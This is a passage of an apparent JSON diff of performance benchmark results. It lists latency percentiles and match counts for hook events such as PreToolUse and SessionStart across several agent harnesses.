"configLoad": [ + 4.02, + 7.74, + 8.13 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.3, + 0.39 + ], + "other": [ + 1.58, + 1.89, + 3.68 + ], + "e2e": [ + 67.14, + 69.92, + 77.64 + ] + }, + "e2eMean": 67.03, + "e2eStddev": 2.56, + "e2eMin": 60.97, + "e2eMax": 77.64 + }, + "hermes|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.45, + 66.62, + 70.12 + ], + "configLoad": [ + 4.03, + 7.41, + 7.85 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.56, + 1.88, + 1.92 + ], + "e2e": [ + 68.28, + 73.11, + 80.26 + ] + }, + "e2eMean": 68.04, + "e2eStddev": 3.28, + "e2eMin": 61.81, + "e2eMax": 80.26 + }, + "hermes|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.14, + 64.77, + 68.57 + ], + "configLoad": [ + 4.05, + 7.24, + 7.66 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.56, + 1.79, + 1.89 + ], + "e2e": [ + 67.25, + 71.09, + 74.59 + ] + }, + "e2eMean": 67.16, + "e2eStddev": 2.75, + "e2eMin": 59.57, + "e2eMax": 74.59 + }, + "hermes|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.01, + 67.2, + 70.85 + ], + "configLoad": [ + 4.05, + 7.29, + 7.7 + ], + "evaluate": [ + 0.15, + 0.18, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.4 + ], + "other": [ + 1.56, + 1.86, + 2.01 + ], + "e2e": [ + 68.76, + 73.62, + 76.34 + ] + }, + "e2eMean": 68.64, + "e2eStddev": 2.66, + "e2eMin": 63.21, + "e2eMax": 76.34 + }, + "hermes|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.87, + 71.57, + 84.02 + ], + "configLoad": [ + 3.87, + 6.98, + 7.44 + ], + "evaluate": [ + 0.15, + 0.17, + 0.25 + ], + "encode": [ + 0.26, + 0.28, + 0.39 + ], + "other": [ + 1.56, + 1.76, + 1.8 + ], + "e2e": [ + 68.91, + 78, + 90.25 + ] + }, + "e2eMean": 70.1, + "e2eStddev": 4.82, + "e2eMin": 62.54, + "e2eMax": 90.25 + }, + "hermes|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.77, + 65.78, + 77 + ], + "configLoad": [ + 3.89, + 5.21, + 7.07 + ], + "evaluate": [ + 0.14, + 0.18, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.4 + ], + "other": [ + 1.57, + 1.82, + 1.99 + ], + "e2e": [ + 67.96, + 72.19, + 82.24 + ] + }, + "e2eMean": 67.99, + "e2eStddev": 3.37, + "e2eMin": 61.86, + "e2eMax": 82.24 + }, + "hermes|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.14, + 65.88, + 70.82 + ], + "configLoad": [ + 4.01, + 5.82, + 8.09 + ], + "evaluate": [ + 0.14, + 0.17, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.53 + ], + "other": [ + 1.59, + 1.84, + 1.91 + ], + "e2e": [ + 67.14, + 72.35, + 77.03 + ] + }, + "e2eMean": 67.3, + "e2eStddev": 2.98, + "e2eMin": 61.58, + "e2eMax": 77.03 + }, + "hermes|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.74, + 66.6, + 69.79 + ], + "configLoad": [ + 4.1, + 7.3, + 16.76 + ], + "evaluate": [ + 0.14, + 0.17, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.55, + 1.91, + 3.64 + ], + "e2e": [ + 67.14, + 74.37, + 78.74 + ] + }, + "e2eMean": 67.61, + "e2eStddev": 3.28, + "e2eMin": 62.67, + "e2eMax": 78.74 + }, + "hermes|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.96, + 65.47, + 73.02 + ], + "configLoad": [ + 3.98, + 5.6, + 7.68 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.43 + ], + "other": [ + 1.58, + 1.88, + 1.98 + ], + "e2e": [ + 66.78, + 71.8, + 79.63 + ] + }, + "e2eMean": 67.14, + "e2eStddev": 2.94, + "e2eMin": 61.88, + "e2eMax": 79.63 + }, + "hermes|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.39, + 64.88, + 65.54 + ], + "configLoad": [ + 4.02, + 4.52, + 7.98 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 1.57, + 1.83, + 1.86 + ], + "e2e": [ + 67.47, + 70.69, + 71.42 + ] + }, + "e2eMean": 67.25, + "e2eStddev": 2.35, + "e2eMin": 62.4, + "e2eMax": 71.42 + }, + "hermes|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.72, + 65.38, + 66.57 + ], + "configLoad": [ + 4.11, + 7.27, + 7.56 + ], + "evaluate": [ + 0.14, + 0.17, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.53, + 1.73, + 1.79 + ], + "e2e": [ + 67.24, + 71.5, + 72.96 + ] + }, + "e2eMean": 67.44, + "e2eStddev": 2.31, + "e2eMin": 62.76, + "e2eMax": 72.96 + }, + "hermes|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.62, + 66.97, + 68.17 + ], + "configLoad": [ + 3.98, + 7.27, + 8.15 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 1.59, + 1.77, + 1.79 + ], + "e2e": [ + 67.27, + 72.62, + 73.87 + ] + }, + "e2eMean": 67.57, + "e2eStddev": 2.8, + "e2eMin": 63.3, + "e2eMax": 73.87 + }, + "hermes|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.08, + 66.9, + 68.71 + ], + "configLoad": [ + 4.05, + 7.36, + 7.82 + ], + "evaluate": [ + 0.14, + 0.16, + 0.25 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.6, + 1.81, + 1.94 + ], + "e2e": [ + 67.3, + 73.01, + 74.04 + ] + }, + "e2eMean": 67.47, + "e2eStddev": 3.15, + "e2eMin": 60.46, + "e2eMax": 74.04 + }, + "hermes|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.51, + 71.55, + 75.38 + ], + "configLoad": [ + 4.01, + 7.24, + 7.42 + ], + "evaluate": [ + 0.14, + 0.16, + 0.25 + ], + "encode": [ + 0.25, + 0.31, + 0.4 + ], + "other": [ + 1.6, + 1.93, + 2.09 + ], + "e2e": [ + 67.86, + 77.8, + 84.07 + ] + }, + "e2eMean": 68.71, + "e2eStddev": 4.07, + "e2eMin": 62.9, + "e2eMax": 84.07 + }, + "hermes|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.14, + 66.11, + 68.6 + ], + "configLoad": [ + 3.96, + 7.28, + 38.17 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.42 + ], + "other": [ + 1.61, + 1.84, + 3.54 + ], + "e2e": [ + 67.72, + 74.12, + 103.43 + ] + }, + "e2eMean": 68.23, + "e2eStddev": 5.7, + "e2eMin": 62.57, + "e2eMax": 103.43 + }, + "hermes|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.49, + 64.49, + 66.42 + ], + "configLoad": [ + 4.06, + 7.77, + 38.3 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.36 + ], + "other": [ + 1.55, + 1.81, + 4.27 + ], + "e2e": [ + 67.88, + 72.11, + 101.97 + ] + }, + "e2eMean": 68.24, + "e2eStddev": 5.51, + "e2eMin": 61.66, + "e2eMax": 101.97 + }, + "hermes|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.33, + 65.01, + 66.7 + ], + "configLoad": [ + 4, + 7.29, + 7.76 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 1.58, + 1.83, + 1.85 + ], + "e2e": [ + 66.45, + 71.97, + 73.04 + ] + }, + "e2eMean": 67.08, + "e2eStddev": 2.82, + "e2eMin": 62.15, + "e2eMax": 73.04 + }, + "hermes|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.13, + 66.35, + 69.47 + ], + "configLoad": [ + 4.11, + 7.2, + 8.13 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.59, + 1.85, + 4.7 + ], + "e2e": [ + 67.27, + 74.1, + 75.93 + ] + }, + "e2eMean": 67.84, + "e2eStddev": 2.78, + "e2eMin": 62.61, + "e2eMax": 75.93 + }, + "hermes|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.78, + 65.16, + 66.25 + ], + "configLoad": [ + 3.99, + 7.24, + 7.37 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.59, + 1.8, + 1.84 + ], + "e2e": [ + 68.06, + 70.91, + 72.69 + ] + }, + "e2eMean": 67.65, + "e2eStddev": 2.14, + "e2eMin": 63.48, + "e2eMax": 72.69 + }, + "hermes|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.48, + 64.74, + 66.78 + ], + "configLoad": [ + 4.06, + 6.95, + 7.84 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.56, + 1.81, + 1.97 + ], + "e2e": [ + 66.48, + 70.85, + 75.65 + ] + }, + "e2eMean": 66.98, + "e2eStddev": 2.45, + "e2eMin": 63.1, + "e2eMax": 75.65 + }, + "hermes|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.59, + 64.14, + 66.27 + ], + "configLoad": [ + 3.98, + 5.1, + 7.62 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.51, + 1.82, + 1.89 + ], + "e2e": [ + 66.58, + 71.49, + 73.65 + ] + }, + "e2eMean": 66.91, + "e2eStddev": 2.7, + "e2eMin": 61.12, + "e2eMax": 73.65 + }, + "openclaw|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.22, + 64.94, + 68.08 + ], + "configLoad": [ + 3.93, + 4.55, + 38 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 1.59, + 1.81, + 3.81 + ], + "e2e": [ + 67.15, + 71.88, + 102.97 + ] + }, + "e2eMean": 67.72, + "e2eStddev": 5.76, + "e2eMin": 61.54, + "e2eMax": 102.97 + }, + "openclaw|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.53, + 67.41, + 69.93 + ], + "configLoad": [ + 3.98, + 4.92, + 7.61 + ], + "evaluate": [ + 0.14, + 0.17, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 1.58, + 1.78, + 1.82 + ], + "e2e": [ + 67.64, + 72.95, + 75.7 + ] + }, + "e2eMean": 67.76, + "e2eStddev": 2.89, + "e2eMin": 62.19, + "e2eMax": 75.7 + }, + "openclaw|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.24, + 67.13, + 71.75 + ], + "configLoad": [ + 4.02, + 7.21, + 7.35 + ], + "evaluate": [ + 0.14, + 0.16, + 0.21 + ], + "encode": [ + 0.25, + 0.29, + 0.64 + ], + "other": [ + 1.59, + 1.8, + 1.83 + ], + "e2e": [ + 68.42, + 73.01, + 76.83 + ] + }, + "e2eMean": 68.74, + "e2eStddev": 2.82, + "e2eMin": 63.05, + "e2eMax": 76.83 + }, + "openclaw|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 60.96, + 67.64, + 67.99 + ], + "configLoad": [ + 3.93, + 7.07, + 7.34 + ], + "evaluate": [ + 1.14, + 1.24, + 1.26 + ], + "encode": [ + 0.26, + 0.29, + 0.34 + ], + "other": [ + 1.58, + 1.89, + 3.56 + ], + "e2e": [ + 68.06, + 74.43, + 75.1 + ] + }, + "e2eMean": 68.4, + "e2eStddev": 2.88, + "e2eMin": 62.54, + "e2eMax": 75.1 + }, + "openclaw|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 60.26, + 66.69, + 69.64 + ], + "configLoad": [ + 3.95, + 7.16, + 8.24 + ], + "evaluate": [ + 0.29, + 0.33, + 0.48 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.59, + 1.8, + 1.99 + ], + "e2e": [ + 67.15, + 73.09, + 75.54 + ] + }, + "e2eMean": 67.71, + "e2eStddev": 2.71, + "e2eMin": 62.78, + "e2eMax": 75.54 + }, + "openclaw|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.23, + 67.96, + 71.73 + ], + "configLoad": [ + 3.95, + 5.47, + 7.09 + ], + "evaluate": [ + 0.15, + 0.16, + 0.25 + ], + "encode": [ + 0.25, + 0.28, + 0.43 + ], + "other": [ + 1.59, + 1.8, + 2.05 + ], + "e2e": [ + 68.09, + 73.99, + 77.33 + ] + }, + "e2eMean": 68.63, + "e2eStddev": 3.15, + "e2eMin": 62.45, + "e2eMax": 77.33 + }, + "openclaw|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 60, + 65.13, + 65.26 + ], + "configLoad": [ + 3.94, + 7.39, + 7.87 + ], + "evaluate": [ + 0.65, + 0.7, + 1.17 + ], + "encode": [ + 0.26, + 0.3, + 0.43 + ], + "other": [ + 1.6, + 1.78, + 1.82 + ], + "e2e": [ + 67.13, + 71.76, + 72.07 + ] + }, + "e2eMean": 67.44, + "e2eStddev": 2.49, + "e2eMin": 61.99, + "e2eMax": 72.07 + }, + "openclaw|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.06, + 65.91, + 70.19 + ], + "configLoad": [ + 3.98, + 4.44, + 7.35 + ], + "evaluate": [ + 0.14, + 0.15, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.59, + 1.8, + 1.96 + ], + "e2e": [ + 67.2, + 71.72, + 76.41 + ] + }, + "e2eMean": 67.5, + "e2eStddev": 2.83, + "e2eMin": 61.56, + "e2eMax": 76.41 + }, + "openclaw|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.96, + 66.69, + 67.7 + ], + "configLoad": [ + 3.94, + 6.96, + 7.17 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.55, + 1.78, + 1.89 + ], + "e2e": [ + 68.27, + 72.51, + 73.71 + ] + }, + "e2eMean": 67.92, + "e2eStddev": 2.81, + "e2eMin": 62.88, + "e2eMax": 73.71 + }, + "openclaw|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.81, + 65.49, + 69.21 + ], + "configLoad": [ + 3.98, + 7.3, + 7.63 + ], + "evaluate": [ + 0.14, + 0.17, + 0.26 + ], + "encode": [ + 0.25, + 0.27, + 0.45 + ], + "other": [ + 1.58, + 1.81, + 1.86 + ], + "e2e": [ + 67.37, + 71.89, + 74.29 + ] + }, + "e2eMean": 67.67, + "e2eStddev": 2.91, + "e2eMin": 61.74, + "e2eMax": 74.29 + }, + "openclaw|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.78, + 67.39, + 68.66 + ], + "configLoad": [ + 3.86, + 6.79, + 7.46 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 1.59, + 1.82, + 1.86 + ], + "e2e": [ + 67.8, + 72.65, + 74.01 + ] + }, + "e2eMean": 67.76, + "e2eStddev": 2.83, + "e2eMin": 62.16, + "e2eMax": 74.01 + }, + "openclaw|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.83, + 66.32, + 68.09 + ], + "configLoad": [ + 3.87, + 4.59, + 4.88 + ], + "evaluate": [ + 0.15, + 0.18, + 0.25 + ], + "encode": [ + 0.25, + 0.29, + 0.44 + ], + "other": [ + 1.58, + 1.76, + 1.8 + ], + "e2e": [ + 67.71, + 72.25, + 74.43 + ] + }, + "e2eMean": 67.84, + "e2eStddev": 3.09, + "e2eMin": 61.68, + "e2eMax": 74.43 + }, + "openclaw|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.64, + 65.42, + 69.4 + ], + "configLoad": [ + 4.04, + 7.19, + 8.29 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.58, + 1.91, + 1.96 + ], + "e2e": [ + 66.81, + 71.17, + 75.73 + ] + }, + "e2eMean": 67.08, + "e2eStddev": 2.69, + "e2eMin": 60.88, + "e2eMax": 75.73 + }, + "openclaw|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.5, + 66.91, + 73.27 + ], + "configLoad": [ + 3.96, + 6.51, + 7.17 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 1.56, + 1.79, + 1.86 + ], + "e2e": [ + 67.85, + 76.01, + 78.83 + ] + }, + "e2eMean": 68.02, + "e2eStddev": 3.34, + "e2eMin": 61.32, + "e2eMax": 78.83 + }, + "openclaw|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.54, + 65.76, + 69.26 + ], + "configLoad": [ + 4.06, + 7.05, + 7.38 + ], + "evaluate": [ + 0.15, + 0.18, + 0.24 + ], + "encode": [ + 0.26, + 0.29, + 0.4 + ], + "other": [ + 1.59, + 1.73, + 2.05 + ], + "e2e": [ + 67.05, + 73.46, + 77.04 + ] + }, + "e2eMean": 67.55, + "e2eStddev": 3.09, + "e2eMin": 62.63, + "e2eMax": 77.04 + }, + "openclaw|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 62.37, + 68.59, + 72 + ], + "configLoad": [ + 4, + 4.73, + 7.3 + ], + "evaluate": [ + 0.14, + 0.16, + 0.22 + ], + "encode": [ + 0.25, + 0.29, + 0.38 + ], + "other": [ + 1.58, + 1.84, + 1.95 + ], + "e2e": [ + 68.76, + 74.16, + 78.13 + ] + }, + "e2eMean": 68.78, + "e2eStddev": 3.17, + "e2eMin": 62.08, + "e2eMax": 78.13 + }, + "openclaw|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.24, + 68.36, + 69.38 + ], + "configLoad": [ + 4.05, + 5.84, + 7.83 + ], + "evaluate": [ + 0.14, + 0.16, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.6, + 1.84, + 1.98 + ], + "e2e": [ + 67.46, + 73.52, + 77.11 + ] + }, + "e2eMean": 68.04, + "e2eStddev": 3.21, + "e2eMin": 61.88, + "e2eMax": 77.11 + }, + "openclaw|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.9, + 66.23, + 67.78 + ], + "configLoad": [ + 3.95, + 7.17, + 7.56 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.54, + 1.79, + 1.82 + ], + "e2e": [ + 67.93, + 72.97, + 73.85 + ] + }, + "e2eMean": 67.95, + "e2eStddev": 2.67, + "e2eMin": 61.95, + "e2eMax": 73.85 + }, + "openclaw|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.1, + 66.83, + 68.51 + ], + "configLoad": [ + 3.98, + 7.38, + 8.28 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.29, + 0.43 + ], + "other": [ + 1.59, + 1.85, + 3.1 + ], + "e2e": [ + 67.21, + 72.5, + 79.56 + ] + }, + "e2eMean": 67.52, + "e2eStddev": 3.05, + "e2eMin": 62.73, + "e2eMax": 79.56 + }, + "openclaw|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.41, + 66.89, + 74.01 + ], + "configLoad": [ + 4.04, + 7.33, + 7.43 + ], + "evaluate": [ + 0.14, + 0.17, + 0.25 + ], + "encode": [ + 0.26, + 0.28, + 0.38 + ], + "other": [ + 1.55, + 1.8, + 1.88 + ], + "e2e": [ + 67.29, + 72.45, + 79.19 + ] + }, + "e2eMean": 68.12, + "e2eStddev": 3.07, + "e2eMin": 62.48, + "e2eMax": 79.19 + }, + "openclaw|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.45, + 67.42, + 70.39 + ], + "configLoad": [ + 3.93, + 4.56, + 5 + ], + "evaluate": [ + 0.15, + 0.17, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.55, + 1.85, + 2 + ], + "e2e": [ + 66.5, + 72.43, + 76.27 + ] + }, + "e2eMean": 67.16, + "e2eStddev": 2.83, + "e2eMin": 62.57, + "e2eMax": 76.27 + }, + "openclaw|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.29, + 65.57, + 66.81 + ], + "configLoad": [ + 4.04, + 7.41, + 7.79 + ], + "evaluate": [ + 0.14, + 0.17, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.59, + 1.8, + 1.91 + ], + "e2e": [ + 67.47, + 72.57, + 74.07 + ] + }, + "e2eMean": 67.76, + "e2eStddev": 2.75, + "e2eMin": 63.59, + "e2eMax": 74.07 + }, + "openclaw|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.15, + 67, + 67.51 + ], + "configLoad": [ + 3.91, + 7.08, + 7.42 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 1.54, + 1.79, + 1.9 + ], + "e2e": [ + 66.94, + 72.47, + 73.47 + ] + }, + "e2eMean": 67.5, + "e2eStddev": 2.75, + "e2eMin": 62.75, + "e2eMax": 73.47 + }, + "openclaw|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.46, + 66.29, + 75.02 + ], + "configLoad": [ + 3.86, + 7.33, + 7.47 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 1.55, + 1.73, + 1.79 + ], + "e2e": [ + 67.2, + 72.14, + 79.75 + ] + }, + "e2eMean": 67.43, + "e2eStddev": 3.08, + "e2eMin": 62.24, + "e2eMax": 79.75 + }, + "openclaw|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.89, + 65.75, + 70.73 + ], + "configLoad": [ + 4.01, + 4.68, + 6.98 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.41 + ], + "other": [ + 1.57, + 1.79, + 1.84 + ], + "e2e": [ + 68.17, + 72.42, + 76.72 + ] + }, + "e2eMean": 68.06, + "e2eStddev": 2.88, + "e2eMin": 63.47, + "e2eMax": 76.72 + }, + "openclaw|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.46, + 69.73, + 71.9 + ], + "configLoad": [ + 4.13, + 7.23, + 7.66 + ], + "evaluate": [ + 0.15, + 0.17, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.6, + 1.86, + 3.77 + ], + "e2e": [ + 67.83, + 76.45, + 78.16 + ] + }, + "e2eMean": 68.21, + "e2eStddev": 3.23, + "e2eMin": 62.8, + "e2eMax": 78.16 + }, + "openclaw|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.67, + 65.3, + 65.61 + ], + "configLoad": [ + 4.1, + 7.24, + 38.66 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.26, + 0.28, + 0.28 + ], + "other": [ + 1.58, + 1.84, + 3.97 + ], + "e2e": [ + 67.62, + 71.41, + 104.84 + ] + }, + "e2eMean": 68.16, + "e2eStddev": 5.85, + "e2eMin": 61.45, + "e2eMax": 104.84 + }, + "openclaw|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.2, + 64.9, + 66.85 + ], + "configLoad": [ + 3.88, + 7.37, + 7.86 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 1.56, + 1.79, + 4.3 + ], + "e2e": [ + 67.58, + 72.09, + 73.28 + ] + }, + "e2eMean": 67.67, + "e2eStddev": 2.25, + "e2eMin": 63.18, + "e2eMax": 73.28 + }, + "openclaw|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.51, + 64.84, + 66.9 + ], + "configLoad": [ + 3.88, + 4.38, + 7.16 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.29, + 0.43 + ], + "other": [ + 1.56, + 1.75, + 1.85 + ], + "e2e": [ + 67.44, + 70.65, + 72.42 + ] + }, + "e2eMean": 67.51, + "e2eStddev": 2.38, + "e2eMin": 61.9, + "e2eMax": 72.42 + }, + "factory|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.27, + 66.11, + 67.15 + ], + "configLoad": [ + 4.01, + 4.33, + 7.66 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.62, + 1.78, + 1.86 + ], + "e2e": [ + 66.4, + 72.21, + 73.51 + ] + }, + "e2eMean": 66.87, + "e2eStddev": 2.6, + "e2eMin": 62.34, + "e2eMax": 73.51 + }, + "factory|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.87, + 65.63, + 66.74 + ], + "configLoad": [ + 3.97, + 8.04, + 37.32 + ], + "evaluate": [ + 0.14, + 0.17, + 0.21 + ], + "encode": [ + 0.25, + 0.29, + 0.42 + ], + "other": [ + 1.64, + 1.82, + 3.75 + ], + "e2e": [ + 67.17, + 71.98, + 104.6 + ] + }, + "e2eMean": 67.92, + "e2eStddev": 5.89, + "e2eMin": 61.67, + "e2eMax": 104.6 + }, + "factory|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.55, + 65.61, + 69.24 + ], + "configLoad": [ + 4.02, + 7.35, + 7.74 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.28, + 0.33 + ], + "other": [ + 1.56, + 1.85, + 1.98 + ], + "e2e": [ + 67.11, + 72.11, + 75.29 + ] + }, + "e2eMean": 67.03, + "e2eStddev": 2.86, + "e2eMin": 61.48, + "e2eMax": 75.29 + }, + "factory|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 60.93, + 65.66, + 66.94 + ], + "configLoad": [ + 4.13, + 7.41, + 7.65 + ], + "evaluate": [ + 1.14, + 1.24, + 1.61 + ], + "encode": [ + 0.26, + 0.28, + 0.32 + ], + "other": [ + 1.59, + 1.84, + 3.85 + ], + "e2e": [ + 68.46, + 72.77, + 74.34 + ] + }, + "e2eMean": 68.77, + "e2eStddev": 2.54, + "e2eMin": 63.92, + "e2eMax": 74.34 + }, + "factory|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 61.3, + 65.7, + 67.22 + ], + "configLoad": [ + 4.16, + 7.59, + 